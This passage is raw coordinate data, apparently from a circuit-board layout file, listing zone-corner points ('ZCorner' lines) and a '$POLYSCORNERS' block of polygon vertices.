0\nZCorner 57483 26092 0\nZCorner 57481 26092 0\nZCorner 57481 26073 0\nZCorner 57481 26053 0\nZCorner 57481 26033 0\nZCorner 57481 26014 0\nZCorner 57483 26010 0\nZCorner 57485 26006 0\nZCorner 57487 26002 0\nZCorner 57489 25998 0\nZCorner 57487 25997 0\nZCorner 57485 25996 0\nZCorner 57483 25995 0\nZCorner 57481 25994 0\nZCorner 57481 25959 0\nZCorner 57481 25924 0\nZCorner 57481 25889 0\nZCorner 57481 25854 0\nZCorner 57355 25854 0\nZCorner 57229 25854 0\nZCorner 57103 25854 0\nZCorner 56977 25854 0\nZCorner 56982 25939 0\nZCorner 56987 26024 0\nZCorner 56991 26109 0\nZCorner 56996 26194 0\nZCorner 57028 26309 0\nZCorner 57087 26411 0\nZCorner 57174 26500 0\nZCorner 57289 26576 0\nZCorner 57503 26620 0\nZCorner 57681 26635 0\nZCorner 57824 26620 0\nZCorner 57930 26576 0\nZCorner 58037 26513 0\nZCorner 58118 26427 0\nZCorner 58173 26321 0\nZCorner 58203 26194 0\nZCorner 58209 26154 0\nZCorner 58215 26115 0\nZCorner 58221 26076 0\nZCorner 58227 26037 0\nZCorner 58224 25822 0\nZCorner 58221 25608 0\nZCorner 58218 25393 0\nZCorner 58215 25178 0\nZCorner 58205 25146 0\nZCorner 58195 25114 0\nZCorner 58186 25081 0\nZCorner 58176 25049 0\nZCorner 58070 24909 0\nZCorner 57929 24812 0\nZCorner 57752 24759 0\nZCorner 57539 24748 0\nZCorner 57372 24778 0\nZCorner 57232 24837 0\nZCorner 57122 24928 0\nZCorner 57040 25049 0\nZCorner 57030 25080 0\nZCorner 57020 25112 0\nZCorner 57010 25143 0\nZCorner 57001 25174 0\nZCorner 56995 25239 0\nZCorner 56989 25303 0\nZCorner 56983 25367 0\nZCorner 56977 25432 0\nZCorner 56979 25441 0\nZCorner 56981 25449 0\nZCorner 56983 25458 0\nZCorner 56985 25467 0\nZCorner 57117 25467 0\nZCorner 57249 25467 0\nZCorner 57380 25467 0\nZCorner 57512 25467 0\nZCorner 57513 25392 0\nZCorner 57514 25317 0\nZCorner 57515 25242 0\nZCorner 57516 25166 0\nZCorner 57516 25161 0\nZCorner 57516 25157 0\nZCorner 57516 25152 0\nZCorner 57516 25147 0\nZCorner 57516 25145 0\nZCorner 57516 25143 0\nZCorner 57516 25141 0\nZCorner 57516 25139 0\nZCorner 57526 25125 0\nZCorner 57536 25112 0\nZCorner 57545 25098 0\nZCorner 57555 25085 1\nZCorner 55559 25967 0\nZCorner 55563 26024 0\nZCorner 55567 26081 0\nZCorner 55571 26137 0\nZCorner 55575 26194 0\nZCorner 55596 26297 0\nZCorner 55652 26394 0\nZCorner 55744 26487 0\nZCorner 55872 26577 0\nZCorner 56097 26621 0\nZCorner 56285 26635 0\nZCorner 56438 26621 0\nZCorner 56555 26577 0\nZCorner 56577 26566 0\nZCorner 56598 26555 0\nZCorner 56620 26544 0\nZCorner 56641 26534 0\nZCorner 56646 26529 0\nZCorner 56651 26524 0\nZCorner 56656 26519 0\nZCorner 56661 26514 0\nZCorner 56667 26510 0\nZCorner 56674 26506 0\nZCorner 56681 26502 0\nZCorner 56688 26498 0\nZCorner 56692 26493 0\nZCorner 56696 26487 0\nZCorner 56700 26481 0\nZCorner 56704 26475 0\nZCorner 56723 26463 0\nZCorner 56744 26438 0\nZCorner 56766 26403 0\nZCorner 56790 26358 0\nZCorner 56800 26317 0\nZCorner 56811 26276 0\nZCorner 56822 26235 0\nZCorner 56832 26194 0\nZCorner 56837 26138 0\nZCorner 56842 26083 0\nZCorner 56847 26027 0\nZCorner 56852 25971 0\nZCorner 56851 25836 0\nZCorner 56850 25702 0\nZCorner 56849 25567 0\nZCorner 56848 25432 0\nZCorner 56844 25380 0\nZCorner 56840 25329 0\nZCorner 56837 25277 0\nZCorner 56833 25225 0\nZCorner 56823 25161 0\nZCorner 56812 25111 0\nZCorner 56800 25074 0\nZCorner 56786 25049 0\nZCorner 56779 25036 0\nZCorner 56772 25022 0\nZCorner 56765 25008 0\nZCorner 56758 24995 0\nZCorner 56756 24995 0\nZCorner 56753 24995 0\nZCorner 56750 24995 0\nZCorner 56747 24995 0\nZCorner 56737 24980 0\nZCorner 56727 24966 0\nZCorner 56718 24951 0\nZCorner 56708 24936 0\nZCorner 56705 24934 0\nZCorner 56702 24932 0\nZCorner 56699 24930 0\nZCorner 56696 24928 0\nZCorner 56597 24838 0\nZCorner 56459 24780 0\nZCorner 56283 24752 0\nZCorner 56067 24757 0\nZCorner 55916 24795 0\nZCorner 55790 24856 0\nZCorner 55691 24941 0\nZCorner 55618 25050 0\nZCorner 55608 25079 0\nZCorner 55597 25108 0\nZCorner 55586 25138 0\nZCorner 55575 25167 0\nZCorner 55571 25233 0\nZCorner 55567 25300 0\nZCorner 55564 25366 0\nZCorner 55560 25432 0\nZCorner 55560 25566 0\nZCorner 55560 25700 0\nZCorner 55560 25834 0\nZCorner 55559 25967 1\nZCorner 54657 26604 0\nZCorner 54666 26602 0\nZCorner 54675 26600 0\nZCorner 54684 26598 0\nZCorner 54692 26596 0\nZCorner 54695 26231 0\nZCorner 54698 25866 0\nZCorner 54701 25501 0\nZCorner 54704 25135 0\nZCorner 54705 25128 0\nZCorner 54706 25120 0\nZCorner 54707 25112 0\nZCorner 54708 25104 0\nZCorner 54713 25099 0\nZCorner 54718 25094 0\nZCorner 54722 25090 0\nZCorner 54727 25085 0\nZCorner 54739 25084 0\nZCorner 54751 25083 0\nZCorner 54763 25082 0\nZCorner 54774 25081 0\nZCorner 54781 25086 0\nZCorner 54788 25091 0\nZCorner 54795 25095 0\nZCorner 54802 25100 0\nZCorner 54805 25117 0\nZCorner 54809 25134 0\nZCorner 54813 25150 0\nZCorner 54817 25167 0\nZCorner 54818 25526 0\nZCorner 54819 25885 0\nZCorner 54820 26245 0\nZCorner 54821 26604 0\nZCorner 54961 26604 0\nZCorner 55100 26604 0\nZCorner 55240 26604 0\nZCorner 55379 26604 0\nZCorner 55386 26602 0\nZCorner 55393 26600 0\nZCorner 55400 26598 0\nZCorner 55407 26596 0\nZCorner 55408 26146 0\nZCorner 55409 25696 0\nZCorner 55410 25246 0\nZCorner 55411 24796 0\nZCorner 55404 24793 0\nZCorner 55397 24790 0\nZCorner 55390 24787 0\nZCorner 55383 24784 0\nZCorner 55241 24784 0\nZCorner 55098 24784 0\nZCorner 54956 24784 0\nZCorner 54813 24784 0\nZCorner 54815 24812 0\nZCorner 54817 24841 0\nZCorner 54819 24869 0\nZCorner 54821 24897 0\nZCorner 54801 24880 0\nZCorner 54782 24862 0\nZCorner 54762 24845 0\nZCorner 54743 24827 0\nZCorner 54730 24821 0\nZCorner 54717 24815 0\nZCorner 54705 24809 0\nZCorner 54692 24804 0\nZCorner 54681 24799 0\nZCorner 54671 24794 0\nZCorner 54660 24789 0\nZCorner 54649 24784 0\nZCorner 54459 24746 0\nZCorner 54307 24778 0\nZCorner 54191 24879 0\nZCorner 54114 25050 0\nZCorner 54110 25438 0\nZCorner 54106 25827 0\nZCorner 54102 26215 0\nZCorner 54098 26604 0\nZCorner 54238 26604 0\nZCorner 54378 26604 0\nZCorner 54517 26604 0\nZCorner 54657 26604 0\nZCorner 54657 26604 0\nZCorner 54657 26604 0\nZCorner 54657 26604 0\nZCorner 54657 26604 1\nZCorner 53872 25870 0\nZCorner 53410 25870 0\nZCorner 52949 25870 0\nZCorner 52487 25870 0\nZCorner 52025 25870 0\nZCorner 51991 25872 0\nZCorner 51957 25874 0\nZCorner 51922 25875 0\nZCorner 51888 25877 0\nZCorner 51850 25915 0\nZCorner 51812 25952 0\nZCorner 51774 25989 0\nZCorner 51736 26026 0\nZCorner 51768 26027 0\nZCorner 51800 26028 0\nZCorner 51833 26029 0\nZCorner 51865 26030 0\nZCorner 52367 26030 0\nZCorner 52869 26030 0\nZCorner 53370 26030 0\nZCorner 53872 26030 0\nZCorner 53872 25990 0\nZCorner 53872 25950 0\nZCorner 53872 25910 0\nZCorner 53872 25870 1\n$POLYSCORNERS\n58524 28521 0 0\n58656 28513 0 0\n58723 28509 0 0\n58789 28506 0 0\n58793 28389 0 0\n58805 28041 0 0\n58862 28030 0 0\n58930 28017 0 0\n58930 26604 0 0\n58624 26598 0 0\n58429 26592 0 0\n58345 26585 0 0\n58371 26577 0 0\n58371 24784 0 0\n58926 24784 0 0\n58922 24837 0 0\n58918 24889 0 0\n58910 24995 0 0\n58987 24888 0 0\n59066 24812 0 0\n59149 24766 0 0\n59234 24749 0 0\n59254 24749 0 0\n59250 25389 0 0\n59219 25392 0 0\n59187 25395 0 0\n59125 25401 0 0\n59121 25401 0 0\n59098 25409 0 0\n59074 25417 0 0\n59051 25425 0 0\n59027 25432 0 0\n58984 25448 0 0\n58952 25516 0 0\n58934 25638 0 0\n58930 25811 0 0\n58930 26604 0 0\n58930 28017 0 0\n58978 28008 0 0\n59035 27998 0 0\n59078 28105 0 0\n59121 28213 0 0\n59207 28427 0 0\n59270 28408 0 0\n59332 28388 0 0\n59394 28369 0 0\n59457 28349 0 0\n59434 28235 0 0\n59410 28121 0 0\n59387 28007 0 0\n59363 27892 0 0\n59469 27846 0 0\n59521 27822 0 0\n59574 27799 0 0\n59580 27805 0 0\n59582 27806 0 0\n59648 27898 0 0\n59715 27990 0 0\n59847 28174 0 0\n59904 28140 0 0\n59961 28107 0 0\n60017 28074 0 0\n60074 28041 0 0\n60023 27935 0 0\n59972 27830 0 0\n59922 27724 0 0\n59871 27619 0 0\n60006 27511 0 0\n60050 27475 0 0\n60113 27526 0 0\n60113 26635 0 0\n59926 26620 0 0\n59703 26577 0 0\n59605 26522 0 0\n59527 26457 0 0\n59470 26383 0 0\n59433 26299 0 0\n59429 26286 0 0\n59419 26258 0 0\n59414 26245 0 0\n59414 26241 0 0\n59410 26233 0 0\n59410 26229 0 0\n59406 26213 0 0\n59406 26209 0 0\n59405 26207 0 0\n59402 26198 0 0\n59402 26186 0 0\n59400 26176 0 0\n59399 26172 0 0\n59398 26167 0 0\n59398 26159 0 0\n59394 26135 0 0\n59394 26124 0 0\n59392 26112 0 0\n59392 26106 0 0\n59391 26100 0 0\n59391 25260 0 0\n59390 25256 0 0\n59390 25241 0 0\n59394 25225 0 0\n59394 25214 0 0\n59398 25198 0 0\n59398 25186 0 0\n59401 25177 0 0\n59402 25175 0 0\n59406 25151 0 0\n59417 25126 0 0\n59427 25100 0 0\n59438 25075 0 0\n59449 25049 0 0\n59519 24937 0 0\n59630 24849 0 0\n59780 24787 0 0\n59968 24749 0 0\n60188 24756 0 0\n60367 24808 0 0\n60506 24906 0 0\n60589 25025 0 0\n60589 24538 0 0\n60589 24526 0 0\n60593 24538 0 0\n60589 24538 0 0\n60589 25025 0 0\n60605 25049 0 0\n60616 25089 0 0\n60626 25128 0 0\n60648 25206 0 0\n60658 25508 0 0\n60663 25660 0 0\n60667 25811 0 0\n60664 25907 0 0\n60660 26002 0 0\n60652 26194 0 0\n60626 26318 0 0\n60589 26391 0 0\n60573 26423 0 0\n60491 26509 0 0\n60382 26577 0 0\n60265 26620 0 0\n60113 26635 0 0\n60113 27526 0 0\n60414 27775 0 0\n60506 27685 0 0\n60551 27640 0 0\n60597 27596 0 0\n60301 27232 0 0\n60336 27186 0 0\n60441 27045 0 0\n60548 27096 0 0\n60589 27115 0 0\n60654 27147 0 0\n60760 27197 0 0\n60867 27248 0 0\n60899 27192 0 0\n60931 27137 0 0\n60964 27081 0 0\n60996 27026 0 0\n60939 26985 0 0\n60883 26944 0 0\n60769 26862 0 0\n60804 26848 0 0\n60866 26856 0 0\n60958 26885 0 0\n61078 26936 0 0\n61132 26943 0 0\n61187 26950 0 0\n61242 26956 0 0\n61296 26963 0 0\n61458 26957 0 0\n61540 26954 0 0\n61551 26953 0 0\n61551 26635 0 0\n61366 26623 0 0\n61148 26584 0 0\n61139 26581 0 0\n61136 26581 0 0\n61132 26577 0 0\n61128 26577 0 0\n61004 26500 0 0\n60911 26412 0 0\n60850 26310 0 0\n60820 26194 0 0\n60804 26010 0 0\n60803 25866 0 0\n60802 25721 0 0\n60801 25577 0 0\n60800 25432 0 0\n60805 25367 0 0\n60810 25301 0 0\n60815 25236 0 0\n60820 25170 0 0\n60830 25140 0 0\n60852 25080 0 0\n60863 25049 0 0\n60882 25021 0 0\n60902 24993 0 0\n60921 24964 0 0\n60941 24936 0 0\n60974 24905 0 0\n61002 24883 0 0\n61026 24869 0 0\n61046 24862 0 0\n61054 24854 0 0\n61066 24850 0 0\n61403 24764 0 0\n61678 24768 0 0\n61890 24863 0 0\n62038 25049 0 0\n62062 25133 0 0\n62073 25175 0 0\n62085 25217 0 0\n62097 25379 0 0\n62101 25432 0 0\n62101 26053 0 0\n62097 26088 0 0\n62093 26124 0 0\n62085 26194 0 0\n62049 26338 0 0\n61993 26450 0 0\n61917 26529 0 0\n61820 26577 0 0\n61703 26619 0 0\n61551 26635 0 0\n61551 26953 0 0\n61621 26951 0 0\n61710 26938 0 0\n61789 26920 0 0\n61857 26900 0 0\n61913 26877 0 0\n61931 26868 0 0\n61949 26860 0 0\n61966 26851 0 0\n61984 26842 0 0\n61984 26951 0 0\n62087 26953 0 0\n62183 26954 0 0\n62183 26604 0 0\n62163 26600 0 0\n62154 26598 0 0\n62144 26596 0 0\n62148 26452 0 0\n62150 26379 0 0\n62152 26307 0 0\n62164 26308 0 0\n62190 26310 0 0\n62202 26311 0 0\n62264 26305 0 0\n62302 26283 0 0\n62318 26246 0 0\n62312 26194 0 0\n62313 25925 0 0\n62314 25657 0 0\n62315 25388 0 0\n62316 25120 0 0\n62175 25120 0 0\n62163 25112 0 0\n62163 24842 0 0\n62165 24840 0 0\n62171 24831 0 0\n62199 24827 0 0\n62286 24824 0 0\n62316 24823 0 0\n62315 24757 0 0\n62314 24690 0 0\n62313 24624 0 0\n62312 24557 0 0\n62323 24553 0 0\n62333 24550 0 0\n62355 24542 0 0\n62909 24542 0 0\n62909 24819 0 0\n62948 24822 0 0\n62960 24823 0 0\n63030 24823 0 0\n63030 25108 0 0\n63027 25109 0 0\n63015 25112 0 0\n63001 25114 0 0\n62988 25116 0 0\n62960 25120 0 0\n62909 25120 0 0\n62909 26194 0 0\n62912 26327 0 0\n62880 26435 0 0\n62813 26518 0 0\n62710 26577 0 0\n62699 26585 0 0\n62664 26592 0 0\n62606 26598 0 0\n62527 26604 0 0\n62183 26604 0 0\n62183 26954 0 0\n62191 26955 0 0\n62294 26957 0 0\n62398 26959 0 0\n62527 26955 0 0\n62623 26949 0 0\n62684 26941 0 0\n62710 26932 0 0\n62809 26897 0 0\n62900 26838 0 0\n62985 26755 0 0\n63061 26647 0 0\n63780 26647 0 0\n63851 26522 0 0\n63888 26442 0 0\n63890 26405 0 0\n63858 26413 0 0\n63097 26413 0 0\n63097 26358 0 0\n63105 26358 0 0\n63105 26030 0 0\n63105 25870 0 0\n65081 25870 0 0\n65237 26026 0 0\n65171 26028 0 0\n65137 26029 0 0\n65104 26030 0 0\n63105 26030 0 0\n63105 26358 0 0\n63952 26358 0 0\n63988 26286 0 0\n64048 26227 0 0\n64133 26182 0 0\n64241 26151 0 0\n64307 26149 0 0\n64341 26148 0 0\n64374 26147 0 0\n64399 26149 0 0\n64425 26151 0 0\n64475 26155 0 0\n64503 26155 0 0\n64512 26158 0 0\n64514 26159 0 0\n64550 26165 0 0\n64567 26168 0 0\n64585 26170 0 0\n64603 26176 0 0\n64622 26182 0 0\n64640 26188 0 0\n64659 26194 0 0\n64667 26202 0 0\n64683 26212 0 0\n64700 26223 0 0\n64716 26234 0 0\n64733 26245 0 0\n64747 26260 0 0\n64760 26276 0 0\n64774 26292 0 0\n64788 26307 0 0\n64802 26327 0 0\n64817 26346 0 0\n64832 26366 0 0\n64846 26385 0 0\n64859 26405 0 0\n64872 26424 0 0\n64884 26444 0 0\n64897 26463 0 0\n64917 26489 0 0\n64926 26501 0 0\n64936 26514 0 0\n64958 26528 0 0\n64968 26535 0 0\n64979 26541 0 0\n65000 26550 0 0\n65006 26553 0 0\n65178 26549 0 0\n65212 26526 0 0\n65254 26475 0 0\n65304 26395 0 0\n65362 26287 0 0\n65452 26197 0 0\n65465 26189 0 0\n65479 26182 0 0\n65507 26166 0 0\n65553 26156 0 0\n65577 26151 0 0\n65600 26146 0 0\n65612 26146 0 0\n65626 26145 0 0\n65639 26143 0 0\n65667 26139 0 0\n65679 26142 0 0\n65692 26144 0 0\n65705 26147 0 0\n65717 26150 0 0\n65745 26150 0 0\n65760 26160 0 0\n65792 26180 0 0\n65807 26189 0 0\n65819 26193 0 0\n65833 26207 0 0\n65846 26221 0 0\n65860 26234 0 0\n65874 26248 0 0\n65886 26263 0 0\n65899 26277 0 0\n65912 26292 0 0\n65924 26307 0 0\n65939 26321 0 0\n65954 26336 0 0\n65968 26351 0 0\n65983 26365 0 0\n65997 26375 0 0\n66010 26385 0 0\n66024 26395 0 0\n66038 26404 0 0\n66049 26407 0 0\n66073 26413 0 0\n66084 26416 0 0\n66088 26416 0 0\n66108 26420 0 0\n66156 26412 0 0\n66193 26400 0 0\n66222 26384 0 0\n66241 26365 0 0\n66285 26309 0 0\n66373 26195 0 0\n66416 26139 0 0\n66455 26109 0 0\n66467 26100 0 0\n66495 26092 0 0\n66508 26088 0 0\n66522 26084 0 0\n66531 26083 0 0\n66539 26082 0 0\n66557 26080 0 0\n66651 26080 0 0\n66664 26085 0 0\n66692 26095 0 0\n66705 26100 0 0\n66714 26105 0 0\n66723 26109 0 0\n66741 26119 0 0\n66747 26125 0 0\n66768 26143 0 0\n66776 26148 0 0\n66784 26154 0 0\n66791 26160 0 0\n66799 26166 0 0\n66812 26170 0 0\n66824 26174 0 0\n66850 26182 0 0\n66858 26183 0 0\n66865 26184 0 0\n66873 26185 0 0\n66881 26185 0 0\n66914 26184 0 0\n66948 26182 0 0\n67014 26178 0 0\n67042 26170 0 0\n67067 26157 0 0\n67090 26139 0 0\n67111 26115 0 0\n67140 26068 0 0\n67161 26012 0 0\n67175 25949 0 0\n67182 25877 0 0\n67245 25802 0 0\n67309 25727 0 0\n67372 25652 0 0\n67436 25576 0 0\n63105 25576 0 0\n63105 25397 0 0\n63409 25401 0 0\n67498 25397 0 0\n67504 25378 0 0\n67510 25360 0 0\n67516 25341 0 0\n67522 25323 0 0\n67653 25170 0 0\n67732 25070 0 0\n67756 25022 0 0\n67725 25026 0 0\n63230 25026 0 0\n63233 25011 0 0\n63235 24997 0 0\n63241 24967 0 0\n63240 24941 0 0\n63239 24914 0 0\n63237 24862 0 0\n64280 24862 0 0\n64306 24890 0 0\n64331 24918 0 0\n64356 24947 0 0\n64382 24975 0 0\n67205 24975 0 0\n67276 24976 0 0\n67348 24974 0 0\n67421 24967 0 0\n67494 24955 0 0\n67495 24977 0 0\n67515 24953 0 0\n67554 24885 0 0\n67611 24772 0 0\n63225 24772 0 0\n63217 24748 0 0\n63199 24702 0 0\n63190 24678 0 0\n63183 24670 0 0\n63175 24663 0 0\n63159 24647 0 0\n63146 24641 0 0\n63134 24635 0 0\n63108 24623 0 0\n63108 24604 0 0\n63102 24458 0 0\n63082 24356 0 0\n63047 24298 0 0\n62999 24284 0 0\n62633 24276 0 0\n62366 24274 0 0\n62199 24278 0 0\n62132 24288 0 0\n62124 24294 0 0\n62120 24296 0 0\n62116 24299 0 0\n62110 24302 0 0\n62105 24305 0 0\n62093 24311 0 0\n62073 24329 0 0\n62064 24337 0 0\n62054 24346 0 0\n62039 24373 0 0\n62034 24381 0 0\n62028 24405 0 0\n62026 24416 0 0\n62023 24428 0 0\n62021 24454 0 0\n62020 24466 0 0\n62019 24479 0 0\n62018 24507 0 0\n62017 24536 0 0\n62015 24592 0 0\n61997 24584 0 0\n61980 24577 0 0\n61962 24569 0 0\n61945 24561 0 0\n61841 24519 0 0\n61666 24497 0 0\n61418 24495 0 0\n61097 24514 0 0\n61062 24431 0 0\n61039 24379 0 0\n60917 24412 0 0\n60699 24488 0 0\n60589 24526 0 0\n60499 24376 0 0\n60468 24327 0 0\n60812 24003 0 0\n60652 23803 0 0\n60552 23867 0 0\n60453 23930 0 0\n60353 23994 0 0\n60254 24057 0 0\n60174 23975 0 0\n60133 23934 0 0\n60093 23893 0 0\n60156 23794 0 0\n60218 23696 0 0\n60281 23597 0 0\n60343 23499 0 0\n60292 23460 0 0\n60240 23420 0 0\n60136 23342 0 0\n59820 23678 0 0\n59720 23620 0 0\n59671 23590 0 0\n59621 23561 0 0\n59659 23450 0 0\n59697 23338 0 0\n59773 23116 0 0\n59714 23090 0 0\n59654 23063 0 0\n59595 23037 0 0\n59535 23010 0 0\n59478 23112 0 0\n59422 23214 0 0\n59365 23315 0 0\n59308 23417 0 0\n59308 23421 0 0\n59306 23419 0 0\n59306 23418 0 0\n59305 23417 0 0\n59195 23383 0 0\n59141 23367 0 0\n59086 23350 0 0\n59096 23233 0 0\n59105 23116 0 0\n59125 22882 0 0\n58972 22853 0 0\n58878 22839 0 0\n58837 22962 0 0\n58807 23069 0 0\n58777 23177 0 0\n58746 23284 0 0\n58689 23282 0 0\n58573 23278 0 0\n58516 23276 0 0\n58498 23160 0 0\n58481 23044 0 0\n58463 22928 0 0\n58445 22811 0 0\n58313 22819 0 0\n58246 22823 0 0\n58180 22827 0 0\n58174 23061 0 0\n58171 23179 0 0\n58168 23296 0 0\n58112 23305 0 0\n58055 23315 0 0\n57999 23325 0 0\n57942 23335 0 0\n57897 23227 0 0\n57807 23013 0 0\n57762 22905 0 0\n57700 22925 0 0\n57637 22944 0 0\n57575 22964 0 0\n57512 22983 0 0\n57537 23098 0 0\n57585 23326 0 0\n57610 23440 0 0\n57557 23463 0 0\n57504 23485 0 0\n57451 23508 0 0\n57399 23530 0 0\n57328 23437 0 0\n57258 23345 0 0\n57118 23159 0 0\n57010 23227 0 0\n56957 23262 0 0\n56903 23296 0 0\n56953 23400 0 0\n57003 23505 0 0\n57052 23609 0 0\n57102 23714 0 0\n56918 23854 0 0\n56829 23780 0 0\n56649 23632 0 0\n56559 23557 0 0\n56467 23647 0 0\n56422 23692 0 0\n56376 23737 0 0\n56598 24007 0 0\n56672 24096 0 0\n56532 24284 0 0\n56524 24288 0 0\n56528 24284 0 0\n56423 24232 0 0\n56317 24180 0 0\n56212 24129 0 0\n56106 24077 0 0\n56074 24133 0 0\n56042 24188 0 0\n56010 24244 0 0\n55977 24300 0 0\n56045 24349 0 0\n56112 24399 0 0\n56180 24449 0 0\n56247 24499 0 0\n56159 24507 0 0\n56071 24514 0 0\n55895 24530 0 0\n55846 24551 0 0\n55796 24571 0 0\n55746 24592 0 0\n55686 24616 0 0\n55677 24620 0 0\n55657 24628 0 0\n55651 24601 0 0\n55649 24593 0 0\n55641 24581 0 0\n55638 24575 0 0\n55634 24569 0 0\n55629 24563 0 0\n55624 24558 0 0\n55614 24546 0 0\n55600 24541 0 0\n55587 24536 0 0\n55559 24526 0 0\n54263 24522 0 0\n54182 24536 0 0\n54102 24581 0 0\n54025 24660 0 0\n53950 24772 0 0\n49354 24772 0 0\n49414 24885 0 0\n49454 24953 0 0\n49476 24977 0 0\n49479 24956 0 0\n52431 24956 0 0\n52443 24971 0 0\n52470 24957 0 0\n52511 24915 0 0\n52568 24846 0 0\n53911 24846 0 0\n53902 24858 0 0\n53900 24862 0 0\n53892 24880 0 0\n53888 24888 0 0\n53884 24897 0 0\n53883 24929 0 0\n53882 24962 0 0\n53880 25026 0 0\n49240 25026 0 0\n49240 25073 0 0\n49339 25192 0 0\n49413 25284 0 0\n49462 25350 0 0\n49486 25390 0 0\n49488 25392 0 0\n49490 25395 0 0\n49490 25397 0 0\n53571 25401 0 0\n53647 25400 0 0\n53724 25399 0 0\n53876 25397 0 0\n53876 25577 0 0\n49537 25577 0 0\n49599 25652 0 0\n49662 25727 0 0\n49724 25803 0 0\n49787 25878 0 0\n49793 25948 0 0\n49808 26013 0 0\n49832 26071 0 0\n49865 26124 0 0\n49879 26141 0 0\n49902 26158 0 0\n49934 26172 0 0\n49974 26182 0 0\n50003 26183 0 0\n50087 26186 0 0\n50123 26182 0 0\n50135 26179 0 0\n50146 26175 0 0\n50170 26167 0 0\n50177 26161 0 0\n50201 26143 0 0\n50209 26138 0 0\n50217 26132 0 0\n50224 26126 0 0\n50232 26120 0 0\n50268 26100 0 0\n50281 26096 0 0\n50295 26091 0 0\n50308 26086 0 0\n50322 26081 0 0\n50412 26081 0 0\n50422 26082 0 0\n50431 26083 0 0\n50451 26085 0 0\n50487 26086 0 0\n50550 26135 0 0\n50638 26234 0 0\n50752 26382 0 0\n50756 26386 0 0\n50760 26389 0 0\n50763 26393 0 0\n50767 26397 0 0\n50791 26403 0 0\n50814 26409 0 0\n50838 26415 0 0\n50861 26421 0 0\n50881 26417 0 0\n50885 26417 0 0\n50896 26414 0 0\n50920 26408 0 0\n50931 26405 0 0\n50961 26385 0 0\n50975 26376 0 0\n50990 26366 0 0\n51049 26307 0 0\n51062 26292 0 0\n51076 26276 0 0\n51090 26261 0 0\n51103 26245 0 0\n51154 26194 0 0\n51162 26190 0 0\n51178 26180 0 0\n51193 26171 0 0\n51209 26161 0 0\n51224 26151 0 0\n51252 26151 0 0\n51262 26148 0 0\n51295 26139 0 0\n51310 26141 0 0\n51326 26143 0 0\n51341 26145 0 0\n51357 26147 0 0\n51369 26147 0 0\n51392 26152 0 0\n51416 26157 0 0\n51439 26162 0 0\n51463 26167 0 0\n51483 26180 0 0\n51504 26194 0 0\n51524 26208 0 0\n51545 26221 0 0\n51569 26239 0 0\n51601 26280 0 0\n51641 26344 0 0\n51689 26432 0 0\n51709 26457 0 0\n51728 26481 0 0\n51748 26505 0 0\n51767 26530 0 0\n51787 26542 0 0\n51797 26547 0 0\n51807 26553 0 0\n51865 26553 0 0\n51865 26030 0 0\n51833 26029 0 0\n51800 26028 0 0\n51736 26026 0 0\n51850 25915 0 0\n51888 25877 0 0\n51922 25875 0 0\n51957 25874 0 0\n52025 25870 0 0\n53872 25870 0 0\n53872 26030 0 0\n51865 26030 0 0\n51865 26553 0 0\n51963 26553 0 0\n51969 26550 0 0\n51983 26544 0 0\n51990 26542 0 0\n52000 26535 0 0\n52033 26514 0 0\n52044 26502 0 0\n52054 26489 0 0\n52076 26463 0 0\n52090 26444 0 0\n52103 26424 0 0\n52117 26405 0 0\n52131 26385 0 0\n52144 26366 0 0\n52158 26346 0 0\n52172 26327 0 0\n52185 26307 0 0\n52199 26292 0 0\n52227 26260 0 0\n52240 26245 0 0\n52257 26234 0 0\n52273 26223 0 0\n52290 26212 0 0\n52306 26202 0 0\n52310 26198 0 0\n52313 26196 0 0\n52315 26194 0 0\n52332 26188 0 0\n52350 26182 0 0\n52367 26176 0 0\n52385 26170 0 0\n52402 26168 0 0\n52420 26165 0 0\n52437 26162 0 0\n52455 26159 0 0\n52467 26155 0 0\n52494 26155 0 0\n52519 26153 0 0\n52545 26151 0 0\n52570 26149 0 0\n52596 26147 0 0\n52747 26154 0 0\n52866 26191 0 0\n52953 26259 0 0\n53010 26358 0 0\n53869 26358 0 0\n53869 26413 0 0\n53111 26413 0 0\n53085 26418 0 0\n53089 26459 0 0\n53123 26536 0 0\n53189 26647 0 0\n53865 26647 0 0\n53863 26726 0 0\n53895 26798 0 0\n53960 26863 0 0\n54060 26920 0 0\n54369 26921 0 0\n54821 26922 0 0\n54821 26604 0 0\n54820 26245 0 0\n54819 25885 0 0\n54817 25167 0 0\n54813 25150 0 0\n54809 25134 0 0\n54805 25117 0 0\n54802 25100 0 0\n54795 25095 0 0\n54788 25091 0 0\n54774 25081 0 0\n54763 25082 0 0\n54727 25085 0 0\n54708 25104 0 0\n54705 25128 0 0\n54704 25135 0 0\n54701 25501 0 0\n54692 26596 0 0\n54684 26598 0 0\n54657 26604 0 0\n54098 26604 0 0\n54102 26215 0 0\n54106 25827 0 0\n54110 25438 0 0\n54114 25050 0 0\n54191 24879 0 0\n54307 24778 0 0\n54459 24746 0 0\n54649 24784 0 0\n54671 24794 0 0\n54681 24799 0 0\n54692 24804 0 0\n54705 24809 0 0\n54717 24815 0 0\n54743 24827 0 0\n54762 24845 0 0\n54782 24862 0 0\n54801 24880 0 0\n54821 24897 0 0\n54817 24841 0 0\n54815 24812 0 0\n54813 24784 0 0\n55383 24784 0 0\n55411 24796 0 0\n55407 26596 0 0\n55379 26604 0 0\n54821 26604 0 0\n54821 26922 0 0\n54989 26923 0 0\n55298 26924 0 0\n55425 26925 0 0\n55507 26924 0 0\n55545 26918 0 0\n55540 26908 0 0\n55545 26905 0 0\n55560 26893 0 0\n55566 26886 0 0\n55571 26879 0 0\n55583 26865 0 0\n55589 26854 0 0\n55601 26830 0 0\n55607 26819 0 0\n55611 26805 0 0\n55614 26791 0 0\n55618 26778 0 0\n55622 26764 0 0\n55643 26776 0 0\n55663 26787 0 0\n55684 26799 0 0\n55704 26811 0 0\n55726 26835 0 0\n55747 26860 0 0\n55769 26884 0 0\n55790 26908 0 0\n55810 26920 0 0\n55819 26926 0 0\n55829 26932 0 0\n55855 26936 0 0\n55905 26944 0 0\n55931 26947 0 0\n56063 26945 0 0\n56194 26942 0 0\n56285 26939 0 0\n56285 26635 0 0\n56097 26621 0 0\n55872 26577 0 0\n55744 26487 0 0\n55652 26394 0 0\n55596 26297 0 0\n55575 26194 0 0\n55571 26137 0 0\n55567 26081 0 0\n55559 25967 0 0\n55560 25834 0 0\n55560 25432 0 0\n55564 25366 0 0\n55567 25300 0 0\n55571 25233 0 0\n55575 25167 0 0\n55586 25138 0 0\n55597 25108 0 0\n55608 25079 0 0\n55618 25050 0 0\n55691 24941 0 0\n55790 24856 0 0\n55916 24795 0 0\n56067 24757 0 0\n56283 24752 0 0\n56459 24780 0 0\n56597 